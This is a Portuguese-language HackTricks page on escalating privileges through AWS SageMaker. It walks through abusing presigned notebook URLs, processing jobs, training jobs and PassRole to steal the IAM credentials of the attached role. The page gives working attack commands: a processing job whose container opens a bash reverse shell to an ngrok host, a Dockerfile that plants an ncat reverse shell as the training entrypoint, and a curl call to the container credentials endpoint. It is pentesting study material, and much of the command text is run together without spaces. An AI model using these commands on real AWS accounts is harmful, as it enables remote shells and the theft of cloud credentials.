O seguinte conteúdo é do arquivo pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md:
The response should contain a `NotebookInstanceArn` field, which will contain the ARN of the newly created notebook instance. We can then use the `create-presigned-notebook-instance-url` API to generate a URL that we can use to access the notebook instance once it's ready:
A resposta deve conter um campo NotebookInstanceArn, que conterá o ARN da instância de notebook recém-criada. Podemos então usar a API create-presigned-notebook-instance-url para gerar uma URL que podemos usar para acessar a instância do notebook assim que estiver pronta:
Acesse a URL com o navegador e clique em `Open JupyterLab` no canto superior direito, em seguida, role para baixo até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”.
Agora é possível acessar as credenciais de metadados da Função IAM.
Impacto Potencial: Escalação de privilégios para a função de serviço do sagemaker especificada.
sagemaker:CreatePresignedNotebookInstanceUrl
Se houver notebooks Jupyter já em execução e você puder listá-los com sagemaker:ListNotebookInstances (ou descobri-los de qualquer outra forma). Você pode gerar um URL para eles, acessá-los e roubar as credenciais conforme indicado na técnica anterior.
Impacto Potencial: Escalação de privilégios para a função de serviço do sagemaker anexada.
sagemaker:CreateProcessingJob,iam:PassRole
Um atacante com essas permissões pode fazer o sagemaker executar um job de processamento com uma função sagemaker anexada a ele. O atacante pode indicar a definição do contêiner que será executado em uma instância de conta ECS gerenciada pela AWS, e roubar as credenciais da função IAM anexada.
# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
Impacto Potencial: Privesc para a função de serviço do sagemaker especificada.
sagemaker:CreateTrainingJob, iam:PassRole
Um atacante com essas permissões será capaz de criar um job de treinamento, executando um contêiner arbitrário nele com uma função anexada a ele. Portanto, o atacante será capaz de roubar as credenciais da função.
Este cenário é mais difícil de explorar do que o anterior porque você precisa gerar uma imagem Docker que enviará o rev shell ou credenciais diretamente para o atacante (você não pode indicar um comando de início na configuração do job de treinamento).
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p $(awsecrget-login-password--region<region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
**Impacto Potencial:** Privesc para a função de serviço do sagemaker especificada.
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Um atacante com essas permissões poderá (potencialmente) criar um **trabalho de ajuste de hiperparâmetros**, **executar um contêiner arbitrário** nele com um **papel anexado** a ele.\
_Não explorei por falta de tempo, mas parece semelhante aos exploits anteriores, sinta-se à vontade para enviar um PR com os detalhes da exploração._
## Referências
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>